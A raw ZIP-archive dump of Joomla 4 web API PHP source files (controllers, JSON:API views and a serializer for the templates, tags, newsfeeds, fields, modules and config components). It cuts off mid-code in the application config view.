WEBSERVICE_COM_MEDIA_UNSUPPORTED_PARAMETER_COMBINATION="Unexpected or unsupported query parameter combination" PK! <=0O O <components/com_templates/src/Controller/StylesController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Templates\Api\Controller; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\String\Inflector; use Tobscure\JsonApi\Exception\InvalidParameterException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The styles controller * * @since 4.0.0 */ class StylesController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'styles'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'styles'; /** * Basic display of an item view * * @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayItem($id = null) { $this->modelState->set('client_id', $this->getClientIdFromInput()); return parent::displayItem($id); } /** * Basic display of a list view * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayList() { $this->modelState->set('client_id', $this->getClientIdFromInput()); return parent::displayList(); } /** * Method to allow extended classes to manipulate the data to be saved for an extension. * * @param array $data An array of input data. * * @return array * * @since 4.0.0 * @throws InvalidParameterException */ protected function preprocessSaveData(array $data): array { $data['client_id'] = $this->getClientIdFromInput(); // If we are updating an item the template is a readonly property based on the ID if ($this->input->getMethod() === 'PATCH') { if (\array_key_exists('template', $data)) { unset($data['template']); } $model = $this->getModel(Inflector::singularize($this->contentType), '', ['ignore_request' => true]); $data['template'] = $model->getItem($this->input->getInt('id'))->template; } return $data; } /** * Get client id from input * * @return string * * @since 4.0.0 */ private function getClientIdFromInput() { return $this->input->exists('client_id') ? $this->input->get('client_id') : $this->input->post->get('client_id'); } } PK!$ff8components/com_templates/src/View/Styles/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Templates\Api\View\Styles; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Router\Exception\RouteNotFoundException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The styles view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'template', 'client_id', 'home', 'title', 'params', 'xml', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'template', 'title', 'home', 'client_id', 'language_title', 'image', 'language_sef', 'assigned', 'e_id', ]; /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { if ($item->client_id != $this->getModel()->getState('client_id')) { throw new RouteNotFoundException('Item does not exist'); } return parent::prepareItem($item); } } PK!115components/com_tags/src/Controller/TagsController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Tags\Api\Controller; use Joomla\CMS\MVC\Controller\ApiController; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The tags controller * * @since 4.0.0 */ class TagsController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'tags'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'tags'; } PK!ö@bb1components/com_tags/src/View/Tags/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Tags\Api\View\Tags; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The tags view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'parent_id', 'level', 'lft', 'rgt', 'alias', 'typeAlias', 'path', 'title', 'note', 'description', 'published', 'checked_out', 'checked_out_time', 'access', 'params', 'metadesc', 'metakey', 'metadata', 'created_user_id', 'created_time', 'created_by_alias', 'modified_user_id', 'modified_time', 'images', 'urls', 'hits', 'language', 'version', 'publish_up', 'publish_down', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'title', 'alias', 'note', 'published', 'access', 'description', 'checked_out', 'checked_out_time', 'created_user_id', 'path', 'parent_id', 'level', 'lft', 'rgt', 'language', 'language_title', 'language_image', 'editor', 'author_name', 'access_title', ]; } PK!ȠCC;components/com_newsfeeds/src/Controller/FeedsController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Newsfeeds\Api\Controller; use Joomla\CMS\MVC\Controller\ApiController; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The feeds controller * * @since 4.0.0 */ class FeedsController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'newsfeeds'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'feeds'; } PK!_YY7components/com_newsfeeds/src/View/Feeds/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Newsfeeds\Api\View\Feeds; use Joomla\CMS\Language\Multilanguage; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\Component\Newsfeeds\Api\Serializer\NewsfeedSerializer; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The feeds view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'category', 'name', 'alias', 'link', 'published', 'numarticles', 'cache_time', 'checked_out', 'checked_out_time', 'ordering', 'rtl', 'access', 'language', 'params', 'created', 'created_by', 'created_by_alias', 'modified', 'modified_by', 'metakey', 'metadesc', 'metadata', 'publish_up', 'publish_down', 'description', 'version', 'hits', 'images', 'tags', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'name', 'alias', 'checked_out', 'checked_out_time', 'category', 'numarticles', 'cache_time', 'created_by', 'published', 'access', 'ordering', 'language', 'publish_up', 'publish_down', 'language_title', 'language_image', 'editor', 'access_level', 'category_title', ]; /** * The relationships the item has * * @var array * @since 4.0.0 */ protected $relationship = [ 'category', 'created_by', 'modified_by', 'tags', ]; /** * Constructor. * * @param array $config A named configuration array for object construction. * contentType: the name (optional) of the content type to use for the serialization * * @since 4.0.0 */ public function __construct($config = []) { if (\array_key_exists('contentType', $config)) { $this->serializer = new NewsfeedSerializer($config['contentType']); } parent::__construct($config); } /** * Execute and display a template script. * * @param object $item Item * * @return string * * @since 4.0.0 */ public function displayItem($item = null) { if (Multilanguage::isEnabled()) { $this->fieldsToRenderItem[] = 'languageAssociations'; $this->relationship[] = 'languageAssociations'; } return parent::displayItem(); } /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { if (Multilanguage::isEnabled() && !empty($item->associations)) { $associations = []; foreach ($item->associations as $language => $association) { $itemId = explode(':', $association)[0]; $associations[] = (object) [ 'id' => $itemId, 'language' => $language, ]; } $item->associations = $associations; } if (!empty($item->tags->tags)) { $tagsIds = explode(',', $item->tags->tags); $tagsNames = $item->tagsHelper->getTagNames($tagsIds); $item->tags = array_combine($tagsIds, $tagsNames); } else { $item->tags = []; } return parent::prepareItem($item); } } PK! >components/com_newsfeeds/src/Serializer/NewsfeedSerializer.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Newsfeeds\Api\Serializer; use Joomla\CMS\Router\Route; use Joomla\CMS\Serializer\JoomlaSerializer; use Joomla\CMS\Tag\TagApiSerializerTrait; use Joomla\CMS\Uri\Uri; use Tobscure\JsonApi\Collection; use Tobscure\JsonApi\Relationship; use Tobscure\JsonApi\Resource; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Temporary serializer * * @since 4.0.0 */ class NewsfeedSerializer extends JoomlaSerializer { use TagApiSerializerTrait; /** * Build content relationships by associations * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function languageAssociations($model) { $resources = []; // @todo: This can't be hardcoded in the future? $serializer = new JoomlaSerializer($this->type); foreach ($model->associations as $association) { $resources[] = (new Resource($association, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/newsfeeds/feeds/' . $association->id)); } $collection = new Collection($resources, $serializer); return new Relationship($collection); } /** * Build category relationship * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function category($model) { $serializer = new JoomlaSerializer('categories'); $resource = (new Resource($model->catid, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/newfeeds/categories/' . $model->catid)); return new Relationship($resource); } /** * Build category relationship * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function createdBy($model) { $serializer = new JoomlaSerializer('users'); $resource = (new Resource($model->created_by, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->created_by)); return new Relationship($resource); } /** * Build editor relationship * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function modifiedBy($model) { $serializer = new JoomlaSerializer('users'); $resource = (new Resource($model->modified_by, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->modified_by)); return new Relationship($resource); } } PK!{[tt9components/com_fields/src/Controller/FieldsController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Fields\Api\Controller; use Joomla\CMS\MVC\Controller\ApiController; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The fields controller * * @since 4.0.0 */ class FieldsController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'fields'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'fields'; /** * Basic display of an item view * * @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayItem($id = null) { $this->modelState->set('filter.context', $this->getContextFromInput()); return parent::displayItem($id); } /** * Basic display of a list view * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayList() { $this->modelState->set('filter.context', $this->getContextFromInput()); return parent::displayList(); } /** * Get extension from input * * @return string * * @since 4.0.0 */ private function getContextFromInput() { return $this->input->exists('context') ? $this->input->get('context') : $this->input->post->get('context'); } } PK!~o tt9components/com_fields/src/Controller/GroupsController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Fields\Api\Controller; use Joomla\CMS\MVC\Controller\ApiController; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The groups controller * * @since 4.0.0 */ class GroupsController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'groups'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'groups'; /** * Basic display of an item view * * @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayItem($id = null) { $this->modelState->set('filter.context', $this->getContextFromInput()); return parent::displayItem($id); } /** * Basic display of a list view * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayList() { $this->modelState->set('filter.context', $this->getContextFromInput()); return parent::displayList(); } /** * Get extension from input * * @return string * * @since 4.0.0 */ private function getContextFromInput() { return $this->input->exists('context') ? $this->input->get('context') : $this->input->post->get('context'); } } PK!-:[ [ 5components/com_fields/src/View/Groups/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Fields\Api\View\Groups; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Router\Exception\RouteNotFoundException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The groups view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'typeAlias', 'id', 'asset_id', 'context', 'title', 'note', 'description', 'state', 'checked_out', 'checked_out_time', 'ordering', 'params', 'language', 'created', 'created_by', 'modified', 'modified_by', 'access', 'type', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'title', 'name', 'checked_out', 'checked_out_time', 'note', 'state', 'access', 'created_time', 'created_user_id', 'ordering', 'language', 'fieldparams', 'params', 'type', 'default_value', 'context', 'group_id', 'label', 'description', 'required', 'language_title', 'language_image', 'editor', 'access_level', 'author_name', 'group_title', 'group_access', 'group_state', 'group_note', ]; /** * Execute and display a template script. * * @param object $item Item * * @return string * * @since 4.0.0 */ public function displayItem($item = null) { if ($item === null) { /** @var \Joomla\CMS\MVC\Model\AdminModel $model */ $model = $this->getModel(); $item = $this->prepareItem($model->getItem()); } if ($item->id === null) { throw new RouteNotFoundException('Item does not exist'); } if ($item->context != $this->getModel()->getState('filter.context')) { throw new RouteNotFoundException('Item does not exist'); } return parent::displayItem($item); } } PK!KC 5components/com_fields/src/View/Fields/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Fields\Api\View\Fields; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Router\Exception\RouteNotFoundException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The fields view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'typeAlias', 'id', 'asset_id', 'context', 'group_id', 'title', 'name', 'label', 'default_value', 'type', 'note', 'description', 'state', 'required', 'checked_out', 'checked_out_time', 'ordering', 'params', 'fieldparams', 'language', 'created_time', 'created_user_id', 'modified_time', 'modified_by', 'access', 'assigned_cat_ids', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'title', 'name', 'checked_out', 'checked_out_time', 'note', 'state', 'access', 'created_time', 'created_user_id', 'ordering', 'language', 'fieldparams', 'params', 'type', 'default_value', 'context', 'group_id', 'label', 'description', 'required', 'language_title', 'language_image', 'editor', 'access_level', 'author_name', 'group_title', 'group_access', 'group_state', 'group_note', ]; /** * Execute and display a template script. * * @param object $item Item * * @return string * * @since 4.0.0 */ public function displayItem($item = null) { if ($item === null) { /** @var \Joomla\CMS\MVC\Model\AdminModel $model */ $model = $this->getModel(); $item = $this->prepareItem($model->getItem()); } if ($item->id === null) { throw new RouteNotFoundException('Item does not exist'); } if ($item->context != $this->getModel()->getState('filter.context')) { throw new RouteNotFoundException('Item does not exist'); } return parent::displayItem($item); } } PK!Q\g ;components/com_modules/src/Controller/ModulesController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Modules\Api\Controller; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\Component\Modules\Administrator\Model\SelectModel; use Joomla\Component\Modules\Api\View\Modules\JsonapiView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The modules controller * * @since 4.0.0 */ class ModulesController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'modules'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'modules'; /** * Basic display of an item view * * @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayItem($id = null) { $this->modelState->set('client_id', $this->getClientIdFromInput()); return parent::displayItem($id); } /** * Basic display of a list view * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayList() { $this->modelState->set('client_id', $this->getClientIdFromInput()); return parent::displayList(); } /** * Return module items types * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function getTypes() { $viewType = $this->app->getDocument()->getType(); $viewName = $this->input->get('view', $this->default_view); $viewLayout = $this->input->get('layout', 'default', 'string'); try { /** @var JsonapiView $view */ $view = $this->getView( $viewName, $viewType, '', ['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType] ); } catch (\Exception $e) { throw new \RuntimeException($e->getMessage()); } /** @var SelectModel $model */ $model = $this->getModel('select', '', ['ignore_request' => true]); if (!$model) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE')); } $model->setState('client_id', $this->getClientIdFromInput()); $view->setModel($model, true); $view->document = $this->app->getDocument(); $view->displayListTypes(); return $this; } /** * Get client id from input * * @return string * * @since 4.0.0 */ private function getClientIdFromInput() { return $this->input->exists('client_id') ? $this->input->get('client_id') : $this->input->post->get('client_id'); } } PK!JB* * 7components/com_modules/src/View/Modules/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Modules\Api\View\Modules; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Router\Exception\RouteNotFoundException; use Joomla\Component\Modules\Administrator\Model\SelectModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The modules view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'typeAlias', 'asset_id', 'title', 'note', 'content', 'ordering', 'position', 'checked_out', 'checked_out_time', 'publish_up', 'publish_down', 'published', 'module', 'access', 'showtitle', 'params', 'client_id', 'language', 'assigned', 'assignment', 'xml', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'title', 'note', 'position', 'module', 'language', 'checked_out', 'checked_out_time', 'published', 'enabled', 'access', 'ordering', 'publish_up', 'publish_down', 'language_title', 'language_image', 'editor', 'access_level', 'pages', 'name', ]; /** * Execute and display a template script. * * @param object $item Item * * @return string * * @since 4.0.0 */ public function displayItem($item = null) { /** @var \Joomla\CMS\MVC\Model\AdminModel $model */ $model = $this->getModel(); if ($item === null) { $item = $this->prepareItem($model->getItem()); } if ($item->id === null) { throw new RouteNotFoundException('Item does not exist'); } if ((int) $model->getState('client_id') !== $item->client_id) { throw new RouteNotFoundException('Item does not exist'); } return parent::displayItem($item); } /** * Execute and display a list modules types. * * @return string * * @since 4.0.0 */ public function displayListTypes() { /** @var SelectModel $model */ $model = $this->getModel(); $items = []; foreach ($model->getItems() as $item) { $item->id = $item->extension_id; unset($item->extension_id); $items[] = $item; } $this->fieldsToRenderList = ['id', 'name', 'module', 'xml', 'desc']; return parent::displayList($items); } } PK!CX<components/com_config/src/Controller/ComponentController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Config\Api\Controller; use Joomla\CMS\Access\Exception\NotAllowed; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Extension\ExtensionHelper; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\Component\Config\Administrator\Model\ComponentModel; use Joomla\Component\Config\Api\View\Component\JsonapiView; use Tobscure\JsonApi\Exception\InvalidParameterException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The component controller * * @since 4.0.0 */ class ComponentController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'component'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'component'; /** * Basic display of a list view * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayList() { $viewType = $this->app->getDocument()->getType(); $viewLayout = $this->input->get('layout', 'default', 'string'); try { /** @var JsonapiView $view */ $view = $this->getView( $this->default_view, $viewType, '', ['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType] ); } catch (\Exception $e) { throw new \RuntimeException($e->getMessage()); } /** @var ComponentModel $model */ $model = $this->getModel($this->contentType); if (!$model) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'), 500); } // Push the model into the view (as default) $view->setModel($model, true); $view->set('component_name', $this->input->get('component_name')); $view->document = $this->app->getDocument(); $view->displayList(); return $this; } /** * Method to edit an existing record. * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function edit() { /** @var ComponentModel $model */ $model = $this->getModel($this->contentType); if (!$model) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'), 500); } // Access check. if (!$this->allowEdit()) { throw new NotAllowed('JLIB_APPLICATION_ERROR_CREATE_RECORD_NOT_PERMITTED', 403); } $option = $this->input->get('component_name'); // @todo: Not the cleanest thing ever but it works... Form::addFormPath(JPATH_ADMINISTRATOR . '/components/' . $option); // Must load after serving service-requests $form = $model->getForm(); $data = json_decode($this->input->json->getRaw(), true); $component = ComponentHelper::getComponent($option); $oldData = $component->getParams()->toArray(); $data = array_replace($oldData, $data); // Validate the posted data. $validData = $model->validate($form, $data); if ($validData === false) { $errors = $model->getErrors(); $messages = []; for ($i = 0, $n = \count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof \Exception) { $messages[] = "{$errors[$i]->getMessage()}"; } else { $messages[] = "{$errors[$i]}"; } } throw new InvalidParameterException(implode("\n", $messages)); } // Attempt to save the configuration. $data = [ 'params' => $validData, 'id' => ExtensionHelper::getExtensionRecord($option, 'component')->extension_id, 'option' => $option, ]; if (!$model->save($data)) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_SERVER'), 500); } return $this; } } PK!|g>components/com_config/src/Controller/ApplicationController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Config\Api\Controller; use Joomla\CMS\Access\Exception\NotAllowed; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\Component\Config\Administrator\Model\ApplicationModel; use Joomla\Component\Config\Api\View\Application\JsonapiView; use Tobscure\JsonApi\Exception\InvalidParameterException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The application controller * * @since 4.0.0 */ class ApplicationController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'application'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'application'; /** * Basic display of a list view * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayList() { $viewType = $this->app->getDocument()->getType(); $viewLayout = $this->input->get('layout', 'default', 'string'); try { /** @var JsonapiView $view */ $view = $this->getView( $this->default_view, $viewType, '', ['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType] ); } catch (\Exception $e) { throw new \RuntimeException($e->getMessage()); } /** @var ApplicationModel $model */ $model = $this->getModel($this->contentType); if (!$model) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'), 500); } // Push the model into the view (as default) $view->setModel($model, true); $view->document = $this->app->getDocument(); $view->displayList(); return $this; } /** * Method to edit an existing record. * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function edit() { /** @var ApplicationModel $model */ $model = $this->getModel($this->contentType); if (!$model) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'), 500); } // Access check. if (!$this->allowEdit()) { throw new NotAllowed('JLIB_APPLICATION_ERROR_CREATE_RECORD_NOT_PERMITTED', 403); } $data = json_decode($this->input->json->getRaw(), true); // Complete data array if needed $oldData = $model->getData(); $data = array_replace($oldData, $data); // @todo: Not the cleanest thing ever but it works... Form::addFormPath(JPATH_COMPONENT_ADMINISTRATOR . '/forms'); // Must load after serving service-requests $form = $model->getForm(); // Validate the posted data. $validData = $model->validate($form, $data); // Check for validation errors. if ($validData === false) { $errors = $model->getErrors(); $messages = []; for ($i = 0, $n = \count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof \Exception) { $messages[] = "{$errors[$i]->getMessage()}"; } else { $messages[] = "{$errors[$i]}"; } } throw new InvalidParameterException(implode("\n", $messages)); } if (!$model->save($validData)) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_SERVER'), 500); } return $this; } } PK!F{{8components/com_config/src/View/Component/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Config\Api\View\Component; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Extension\ExtensionHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Serializer\JoomlaSerializer; use Joomla\CMS\Uri\Uri; use Tobscure\JsonApi\Collection; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The component view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * Execute and display a template script. * * @param array|null $items Array of items * * @return string * * @since 4.0.0 */ public function displayList(array $items = null) { try { $component = ComponentHelper::getComponent($this->get('component_name')); if ($component === null || !$component->enabled) { // @todo: exception component unavailable throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_INVALID_COMPONENT_NAME'), 400); } $data = $component->getParams()->toObject(); } catch (\Exception $e) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_SERVER'), 500, $e); } $items = []; foreach ($data as $key => $value) { $item = (object) [$key => $value]; $items[] = $this->prepareItem($item); } // Set up links for pagination $currentUrl = Uri::getInstance(); $currentPageDefaultInformation = ['offset' => 0, 'limit' => 20]; $currentPageQuery = $currentUrl->getVar('page', $currentPageDefaultInformation); $offset = $currentPageQuery['offset']; $limit = $currentPageQuery['limit']; $totalItemsCount = \count($items); $totalPagesAvailable = ceil($totalItemsCount / $limit); $items = array_splice($items, $offset, $limit); $this->getDocument()->addMeta('total-pages', $totalPagesAvailable) ->addLink('self', (string) $currentUrl); // Check for first and previous pages if ($offset > 0) { $firstPage = clone $currentUrl; $firstPageQuery = $currentPageQuery; $firstPageQuery['offset'] = 0; $firstPage->setVar('page', $firstPageQuery); $previousPage = clone $currentUrl; $previousPageQuery = $currentPageQuery; $previousOffset = $currentPageQuery['offset'] - $limit; $previousPageQuery['offset'] = $previousOffset >= 0 ? $previousOffset : 0; $previousPage->setVar('page', $previousPageQuery); $this->getDocument()->addLink('first', $this->queryEncode((string) $firstPage)) ->addLink('previous', $this->queryEncode((string) $previousPage)); } // Check for next and last pages if ($offset + $limit < $totalItemsCount) { $nextPage = clone $currentUrl; $nextPageQuery = $currentPageQuery; $nextOffset = $currentPageQuery['offset'] + $limit; $nextPageQuery['offset'] = ($nextOffset > ($totalPagesAvailable * $limit)) ? $totalPagesAvailable - $limit : $nextOffset; $nextPage->setVar('page', $nextPageQuery); $lastPage = clone $currentUrl; $lastPageQuery = $currentPageQuery; $lastPageQuery['offset'] = ($totalPagesAvailable - 1) * $limit; $lastPage->setVar('page', $lastPageQuery); $this->getDocument()->addLink('next', $this->queryEncode((string) $nextPage)) ->addLink('last', $this->queryEncode((string) $lastPage)); } $collection = (new Collection($items, new JoomlaSerializer($this->type))); // Set the data into the document and render it $this->getDocument()->setData($collection); return $this->getDocument()->render(); } /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { $item->id = ExtensionHelper::getExtensionRecord($this->get('component_name'), 'component')->extension_id; return $item; } } PK!e8:components/com_config/src/View/Application/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Config\Api\View\Application; use Joomla\CMS\Extension\ExtensionHelper; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Serializer\JoomlaSerializer; use Joomla\CMS\Uri\Uri; use Joomla\Component\Config\Administrator\Model\ApplicationModel; use Tobscure\JsonApi\Collection; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The application view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * Execute and display a template script. * * @param array|null $items Array of items * * @return string * * @since 4.0.0 */ public function displayList(array $items = null) { /** @var ApplicationModel $model */ $model = $this->getModel(); $items = []; foreach ($model->getData() as $key => $value) { $item = (object) [$key => $value]; $items[] = $this->prepareItem($item); } // Set up links for pagination $currentUrl = Uri::getInstance(); $currentPageDefaultInformation = ['offset' => 0, 'limit' => 20]; $currentPageQuery = $currentUrl->getVar('page', $currentPageDefaultInformation); $offset = $currentPageQuery['offset']; $limit = $currentPageQuery['limit']; $totalItemsCount = \count($items); $totalPagesAvailable = ceil($totalItemsCount / $limit); $items = array_splice($items, $offset, $limit); $this->getDocument()->addMeta('total-pages', $totalPagesAvailable) ->addLink('self', (string) $currentUrl); // Check for first and previous pages if ($offset > 0) { $firstPage = clone $currentUrl; $firstPageQuery = $currentPageQuery; $firstPageQuery['offset'] = 0; $firstPage->setVar('page', $firstPageQuery); $previousPage = clone $currentUrl; $previousPageQuery = $currentPageQuery; $previousOffset = $currentPageQuery['offset'] - $limit; $previousPageQuery['offset'] = $previousOffset >= 